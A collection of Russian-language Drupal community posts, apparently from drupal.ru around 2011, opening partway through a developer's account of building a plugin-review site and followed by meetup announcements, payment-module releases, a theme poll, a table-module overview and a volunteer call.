Особенность рецензии в том, что пользователь может оставить только одну рецензию для плагина. Поэтому нужно было сделать ограничение кол-ва комментариев к ноде. Для того чтобы ограничить количество отзывов, пробовал использовать модуль Comment Limit, но он работал с ошибкой, запрещая редактировать отзыв (коммент). Модуль почему-то думал что нажимая кнопку сабмит (при редактировании коммента), пользователь пытается засабмитить второй коммент, и блокировал это действие. Его пришлось отключить и реализовать ограничение ручками.

Пока что комментариев на сайте нет. В будущем возможно сделаю (пока не уверен что они нужны). Т.к. обычные комменты уже заняты, нашел модуль commentfield, реализующий очень простые комменты (без древовидного обсуждения, без прикрепления полей и файлов к ним).

Голосования
Rate – голосование за ноду (up/down)
Поля в рецензиях с помощью CCK (Content Construction Kit), который в семерке в ядре (4 селекта для оценок и 3 текстовых поля)

скриншот CCK полей коммента (рецензии):

Сначала, голосование за ноду сделал на Fivestar. Звездочки меня уже утомили, их пихают везде с поводом, и без повода. Поэтому решил сделать что-то креативное, а-ля логотипы jquery вместо звездочек:

Однако в процессе последующей разработки было решено отказаться от логотипов jquery вместо звездочек, т.к. многие люди (дизайнеры, менеджеры и заказчики) просто не знают что это лого jquery и не способны не только оценить фишки, но что хуже – вообще теряются и не знают что делать с этим элементом. Звездочки я исключил, поэтому остался up/down, реализовал который я с помощью модуля rate.

С оценками в рецензиях все просто. При сохранении, удалении или редактировании комментария, вызываются соответствующие хуки (например hook_comment_insert), которые перехватывают системные действия, и привязывают к таким событиям мой произвольный код. Я сделал при вставлении и редактировании рецензии – вычисление общей оценки плагина. Сначала с помощью функции avg() в SQL запросе я узнаю среднее арифметическое для каждого критерия оценки (для всех рецензий, относящихся к одной ноде). Запрос выглядит примерно так:

SELECT avg(field_value) FROM field_table INNER JOIN comment...

потом таким выражением узнаю общую оценку плагина: ( a + b + c + d ) / 4

Вот хуки, которые вызываются при добавлении рецензии (или изменении ее оценок)

<?php
function mymodule_comment_insert($comment) {
}

function mymodule_comment_delete($comment) {
}

function mymodule_comment_update($comment) {
}
?>

Похожие плагины
SQL запрос от xandeadx: http://xandeadx.ru/blog/drupal/234

Пользовательский ввод
Для оформления контента плагинов:
СKeditor (из wysiwyg) + One click upload + Image resize filter

Не используются (выключенные модули):
menu
block
locale
views

Так как я не использую модуль menu, чтобы выделять текущий пункт меню, сделал примитивную функцию:

<?php

function lcustom($alias, $link_title ) {
        
    if($alias == arg(0)) {
        if($_GET['q'] == 'best' && isset($_GET['page'])){
            echo '<a href="/'.$alias.'">'.$link_title.'</a>';
    } else {
            echo $link_title;
        }    
    } else {
        echo '<a href="/'.$alias.'">'.$link_title.'</a>';
    } 
    
}
?>

Подобной функцией пользуюсь уже не на первом проекте. Вызов функции выглядит так:

<?php
<div class="fooerMenu">
    <span><?php lcustom('submit', 'Предложить плагин'); ?></span>
    <span><?php lcustom('flagged', 'Помеченные ссылки'); ?></span>
    <span><?php lcustom('reviews', 'Рецензии'); ?></span>
</div>
?>

Хостинг
IT-patrol – просто летает. Отклик в 50 мс – это вещь. Сервак отрабатывает очень быстро. Особенно заметно внутри админки – на служебных страницах, предыдущий хост тупил.

jQuery
Чтобы воспользоваться файлом jQuery, который использует ядро друпала, удалось найти такое решение. Все скрипты jquery, написанные для сайта, нужно завернуть в такую конструкцию:

(function ($) { ... })(jQuery);

Иначе эти скрипты не видят друпаловский jquery, а подключать еще один jquery показалось кощунственно. Интересно, что решение трудно было нагуглить, и в конечном итоге нашел его в исходниках друпаловских модулей.

jQuery, используемое в демках, в основном грузится с Google CDN

Дизайн
Делал сам. Готовые темы не использовались. Не всё в дизайне мне нравится. Есть вещи, которые сделаны грубо (например форма добавления рецензии или некоторые попапы), и они будут со временем исправлены. Есть вещи (дизайн, функционал), над которыми я много думал, несколько раз переделывал, но так и не достиг ощущения что они работают как надо. Постепенно буду подтачивать.

Кроссбраузерность
А нет ее. Плотно смотрю в хроме и фоксе, время от времени проверяю в опере. В ИЕ не смотрел, да в общем-то и не собираюсь. Данный сайт для разработчиков, а они не пользуются ИЕ (я надеюсь!). Во всяком случае, чтобы посмотреть работоспособность демки, можно скопировать ее адрес в ИЕ, и я считаю этого достаточным минимумом.

Флаги
Я не стал использовать модуль flag, хотя давно о нем знаю. Было проще написать один аякс-запрос, добавляющий ссылку в БД, чем связываться с многофункциональным модулем, который из коробки скорее всего не подойдет под мои задачи.

Авторизация
uLogin – рульная штучка, заработало сразу все как и хотел. Был сильно удивлен фактом работы из коробки, думал что минимум день придется потратить на вкуривание манов, и еще день на то чтобы настроить его под себя. А оказалось что установка заняла минут ну отсилы 10, а подкручивание под себя еще час-два.

Конечно, я фанат аватарок, но в данном случае аватарки мне кажутся лишними, т.к. будут отвлекать от самих рецензий и оценок. Поэтому я их не настраивал, не знаю насколько сложно.

При первой авторизации создается пользователь. Это мой первый сайт с авторизацией через соц. сети, поэтому ощущения необычные.

Друпаловскую регистрацию решил отключить вообще, чтобы не было путаницы в типах аккаунтов.

Для того чтобы показывать иконку социальной сети, через которую авторизован пользователь, я делаю так:


<?php if(strpos($user->init, '_google')){ ?>
    <span class="Google" title="Вы вошли через Google аккаунт"></span>
<?php } else if (strpos($user->init, '_vkontakte')){ ?>
    <span class="Vk" title="Вы вошли через аккаунт Вконтакте"></span>
...
?>

У меня есть далеко не все аккаунты, через которые можно авторизоваться в uLogin, поэтому я протестировал только некоторые способы авторизации. Если кто-то найдет баги в тех способах авторизации, которые я не тестировал, пожалуйста сообщите.

Да, еще пара моментов. Стандартный модуль для д7, который выложен на официальном сайте ulogin вставляет виджет авторизации только на странице авторизации (user/login, и наверное регистрации), однако совсем не сложно вставить этот виджет (по факту это iframe ) в любое место страницы. В модуле я строку с iframe (который выводит виджет авторизации на странице /user/register) закомментил.

Второй момент – редирект после авторизации. Из коробки, модуль ulogin после авторизации редиректит на главную, а если ты находишься на странице и уже хочешь что-то туда написать – это просто убивает. Поэтому чтобы сделать редирект на текущую страницу, (на которой пользователь нажал кнопку авторизации), пришлось немного подправить модуль. Если интересно что и как могу написать в комментах.

Кажись это все, что вспомнилось.

Прикрепленный файл Размер screen.png 69.67 кб review_add_form.png 7.72 кб review_fields.png 17.71 кб fivestar.png 5.95 кб users_table.png 34.31 кб

Источник: http://www.drupal.ru/node/70966

DrupalConf Москва – 3 декабря // делимся впечатлениями о конференции

Итак, новости! Во-первых, наш генеральный спонсор – компания Microsoft!
0. Конференция состоится 3 декабря.
1. Формат – 1 поток.
2. Конференция пройдет там же, где и в прошлый раз – метро ВДНХ, павильон Электрификация http://www.expo-elektra.ru/kak-nas-najti.html . Будет интернет! Все недочеты организации прошлой конференции учтем.
3. Конференция будет бесплатной!

Дорогие гости из других городов, можете покупать билеты. Дата не поменяется, событие состоится!

Открыта регистрация на сайте http://drupalconf.ru/user/register Если вы участвовали в прошлой конференции, вам необходимо зайти на сайт и обновить информацию в профиле.

Открыто голосвание и прием докладов! зарегистрированные пользователи могут добавить доклад, перейдя по ссылке http://drupalconf.ru/node/add/session
Голосовать за доклады зарегистрированные пользователи могут по адресу http://drupalconf.ru/sessions

Начало регистрации: 9:30
Окончание конференции: 19:00

Источник: http://www.drupal.ru/node/70326

Интеграция Drupal Commerce & Robokassa

Предлагается для тестирования и использования новый модуль оплаты для  Drupal Commerce через шлюз Робокасса

Итак, тестируйте и пишите отзывы по Commerce Robokassa

ЗЫЖ модуль разработан в сотрудничестве с http://www.internet-marketing.by/

Источник: http://www.drupal.ru/node/70117

[Коллективный заказ] Модуль Яндекс.Карты для Drupal 7

Необходимо разработать модуль Яндекс.Карты для Drupal 7? Прошу сообщить стоимость и сроки.

Примерное ТЗ:
ТЗ модуля Я.Карты для Drupal 7:
- возможность выбора Народной карты Яндекса
- при добавлении ноды пользователь ставит на карте маркер
- при просмотре ноды отображается сама нода и карта с маркером пользователя
- если это возможно, то сделать выбор – что показывать на маркере (Заголовок ноды и, например, поля из ноды)
- (можно и без этого пункта) находясь на странице термина, вывести маркеры всех нод принадлежащих этому термину на карту

Исполнителям: Данный модуль планируется выложить на drupal.ru.
Заказчикам (таким же как я): Думаю модуль Я.Карты для Drupal 7 нужен не одному мне, поэтому желающие скинуться приветствуются.

Источник: http://www.drupal.ru/node/69824

Тема админки Drupal 8

День добрый.

Грядёт Drupal 8 и в нём будет новая тема оформления. Как в 7-ке на смену Garland пришла Seven, так и в 8-ке будет новая тема, в том числе и тема админки.

Хотялось бы поднять тему разделения темы сайта и темы админки и узнать, кто какую тему устанавливает для админки. На данный момент для Drupal 7, по моему мнению популярны три темы:

Seven – стоит по умолчанию RootCandy Rubik (требует наличия темы Tao)



На мой взгляд Rubik – наиболее удобная и проработанная тема для админки. А для быстрой навигации по страницам настройки модулей есть страница http://www.site.ru/admin/index.

Поделитесь какими темами для админки Вы пользуетесь.
Только вместе мы сможем достичь светлого будущего.

Прикрепленный файл Размер seven.png 47.61 кб rootcandy.png 46.23 кб rubiktao.png 72.23 кб

Attached poll “Какую тему вы используете для админки”.
Register or login to poll
Results:
seven: 29 голосов
rootcandy: 6 голосов
rubik: 17 голосов
свой вариант: 6 голосов
OM Admin Theme: 0 голосов
Polpo Admin Theme: 1 голос

Источник: http://www.drupal.ru/node/69727

[Состоялось][DrupalЮг] BarCamp + встреча 15 октября 2011

15 октября 2011 в городе Краснодаре будет проводиться BarCamp, силами Южного сообщества будет организована секция Drupal, в рамках которой будет несколько докладов и бурное их обсуждение.

Темы и докладчики:
Почему Drupal? Или немного из своего опыта. Докладчик: Виктор Степаньков
Инструменты для SEO и интернет-маркетинга в Drupal. – Докладчик: Пётр Селфин
Продаем бесплатное – ищем ценность OpenSource решений на примере CMS Drupal. Докладчик: Александр Дубовской
Красивые формы в Drupal 7. Докладчик: Богдан Романенко

Мероприятие состоялось, считаю довольно успешно.
Видео и тексты презентаций будут выложены на http://drupalyug.ru.

Источник: http://www.drupal.ru/node/69365

Drupal Cafe Москва – встреча 4.10.11 – 19-00

Во вторник 4.10.2011 в 19:00 пройдет третья встреча Drupal кафе Москва

Место проведения уже традиционно – ул. Покровка 38/1 Читалкафе (вход с Лялиного переулка) карта

На этот раз у нас будет несколько докладов.

1. Microsoft и Drupal (PVasili)
2. Настройка от боевого, до сервера разработки в VirtualBox (В. Касихин)

Установка Ubuntu-server в VirtualBox. Установка и настройка nginx. Установка и настройка MariaDB. Установка и настройка Git. Установка Zend Server Se.CE. Создание ключей доступа. Первоначальная установка Drupal. Кратко о системах мониторинга и управления: Munin и WebAdmin

3. Минидоклады: инструменты разработки в Drupal, меры защиты сайта (Александр Графов)

Оставшееся время, как всегда посветим остальным актуальным вопросам.

Источник: http://www.drupal.ru/node/69238

Содержимое ноды в окне Colorbox


Не знаю было ли такое решение или нет, по крайней мере я не нашел.

Раскуривал эту тему очень давно. Решений на форуме приведено уйма, но не все по моему удачные (требуют лесть в код или создавать отдельные шаблоны). В общем есть “правильное” решение которое думаю и предлагал девелопер.

После установки Колорбокса лезем в его настройки и включаем опцию “Enable Colorbox inline” (а Enable Colorbox load поможет вам с разными формами)

После чего создаем ноду\блок и в его теле пишем такой код

<a class="colorbox-inline" href="?width=500&amp;height=500&amp;inline=true#myid">link</a> <div style="display: none;"><div id="myid"><?php print render (node_view(node_load(19)), FALSE, TRUE);?></div></div>

Где, width=500 – высота окна, height=500 – ширина окна, link – отображаемая ссылка на окно, myid – название вашего дива, 19 – ID ноды содержимое которой хотим вывести в окно.
Сохраняем в формате PHP code и радуемся)))

Источник: http://www.drupal.ru/node/68873

С праздником!

Всех программистов поздравляю с профессиональным праздником! Успехов в работе и не бросайте Друпал Без вас тут будет тяжело

Источник: http://www.drupal.ru/node/68471

Первое собрание сообщества Друпал в Самаре


Приглашаем всех самарских (и не только самарских!) друпалеров встретиться на следующей неделе и обсудить дела насущные.

На первом собрании предлагается:
- познакомиться
- пообщаться
- обсудить возможность организации мероприятия как у взрослых: с проектором и докладами

Место проведения:

Beer club в Paint House, http://dosug.samara24.ru/restaurants/company/21476

Время проведения:

суббота, 17 сентября, 17:00

Карта:

мой телефон (Антон)
+7 917 602 37 90

Attached poll “Место проведения”.
Register or login to poll
Results:
Beer club (Paint House): 7 голосов
У Швейка: 3 голоса
Frau Muller: 5 голосов

Источник: http://www.drupal.ru/node/68264

Нам пора задуматься(неделя вежливости на портале)

На одном очень популярном ресурсе посвященном различным ЦМС, в комментах о друпале нашел следующую запись о минусах системы:”Грубое русское сообщество”.
Это ведь мы с вами. И правда грубим и хамим новичкам. И я в том числе( Давайте будем добрей и терпеливее.
п.с. такое вот сегодня лирическое настроение

Источник: http://www.drupal.ru/node/67917

Вышел Drupal 7.8

Вчера вечером тихо и незаметно вышел Drupal 7.8.
Качать, как обычно, на http://drupal.org/project/drupal

Были исправлены ошибки и сделаны небольшие улучшения API. В этом релизе нет исправлений ошибок безопасности. Новые возможности будут добавляться в предстоящем релизе Drupal 8.0.

Подробней написано тут http://drupal.org/node/1265840

Источник: http://www.drupal.ru/node/67868

Таблицы в друпале – очень краткий обзор модулей

Сабж!

Задался вопросом “Как грамотно вставить таблицу в друпал, с использованием полей и т.д.?“, в поиске здесь наткнулся на топик “Вывести таблицу excel на страницу“. Вспомнил, что раньше видел пару модулей на drupal.org по теме, поискал и нашел.

Итак…

 Tables Filter Module

Самый, наверно, простой табличный модуль. Ставите его, включаете в Форматах Ввода этот фильтр и, используете токены вида [table ] для редактирования таблицы. Пример построения таблицы – здесь.

Никакого импорта файлов и т.д.

Дешево и сердито.

 Slickgrid

Более продвинутый вариант.

Удобные средства редактирования таблицы, приличное количество фич. Импорта файла с таблицей, похоже нет.
Имхо, удобен, если таблицы приходится добавлять нечасто и небольшие.

 Sheetnode

Самый продвинутый модуль.
Для импорта использует http://phpexcel.codeplex.com/ и https://github.com/infojunkie/socialcalc
Некоторые возможности (на сейчас, модуль развивается):
Экспорт-импорт CSV, XLS, XLSX, OOCalc, Google Docs Spreadsheets (в разработке), etc.
Экспорт, помимо перечисленного, в PDF.
Значения таблиц могут раскидываться по (cck)полям.
… и многое другое.

Стабильная версия – только для 6ки, и разработка – для 7ки.
За подробностями лучше на страницу модуля.

Источник: http://www.drupal.ru/node/67684

Commerce Webmoney – интеграция мерчанта Webmoney для Drupal Commerce

*** Модуль нуждается в тестировании ***

Написал фактичеки “вслепую”, нет возможности протестировать в реальных условиях

Установка

В настройках своего аккаунта вебмани:

УРЛ результата: ВАШДОМЕН/webmoney/result
УРЛ успешной оплаты: ВАШДОМЕН/webmoney/success
УРЛ неуспеха: ВАШДОМЕН/webmoney/fail

Тип подписи: MD5

Настройки модуля тут admin/commerce/config/payment-methods => Webmoney => Enable payment method: Webmoney

кошелёк при расчёте выбирается по дефолтной валюте магазина

Прикрепленный файл Размер commerce_webmoney.zip 19.3 кб

Источник: http://www.drupal.ru/node/67677

Drupal Cafe Москва – встреча 30.08.11 – 19-00

Во вторник 30.08.2011 в 19:00 пройдет уже вторая встреча Drupal кафе Москва

Место проведения – ул. Покровка 38/1 Читалкафе (вход с Лялиного переулка) карта

По длительности планируем опять 2-3 часа, по примеру первой встречи.

Основной темой будет обсуждение результатов ДрупалКон’11 Лондон.
Если останется время, то посветим остальным актуальным вопросам.

Как всегда приветствуются доклады. Выступающие могут воспользоваться проектором и микрофоном.

Из изменений по поводу самого кафе:
На этот раз увеличиться ассортимент напитков, включая чай и кофе.
Так же в меню будет присутствовать еда, которой так не хватало на первой встрече.
По поводу WiFi вопрос пока остается не решенным, но в ближайшее время думаю разрешиться.

Attached poll “Приду на встречу”.
Register or login to poll
Results:
Да: 3 голоса
Нет: 4 голоса
Хочу, но не смогу: 2 голоса

Источник: http://www.drupal.ru/node/67534

Требуются активные люди для поддержания светлого начинания

Здравствуйте, уважаемые! Нужна Ваша помощь!

Тему обучения Drupal кто только не начинал… Мы решили заняться этим всерьёз и надолго. При поддержке сильнейших сего ресурса (Александра Графова, Андрея Постникова), не без поддержки со стороны чудо-хостинга it-патруля (безвоздмездной!), мы (небольшая инициативная команда) накидали прототип, который в последствии будет частью портала drupal.ru. Адрес этого ресурса по понятным причинам мы сейчас не разглашаем. Торжественное открытие этого раздела состоится в тот момент, когда не останется ни одного известного нам бага.

Все замечательно и быстро продвигается, есть прототип, есть контент, есть море идей и энтузиазма, однако, нас мало и наши силы не то чтобы на исходе, но мы остро нуждаемся в “новой крови” для нашего детища.

Вот список специалистов, которые нам остро необходимы:

Люди, умеющие писать толковые интересные технические тексты (aka копирайтер); Люди, умеющие программировать на Drupal 7 (установка, настройка модулей. Дописывание и кастомизация модулей – приветствуется!); Люди, умеющие профессионально тестировать интернет-проекты (обязательное требование – внимание к мелочам, ибо, дьявол в деталях!).

Территориальная принадлежность специалиста – не имеет значения. Крайне желательно наличие Skype (текстовой версии достаточно).

Господа и дамы! Присоединяйтесь к нам и станьте у истоков большого начинания!
В отместку за Ваши усилия, мы обещаем почет, уважуху и мегареспект со стороны русскоязычного сообщества начинающих друпал-разработчиков (собственно, для кого этот ресурс и делается ).

Присылайте Ваши заявки на почту 4drupal.ru@gmail.com , мы обязательно Вам ответим!

Источник: http://www.drupal.ru/node/67169

© 2009 Обзор CMS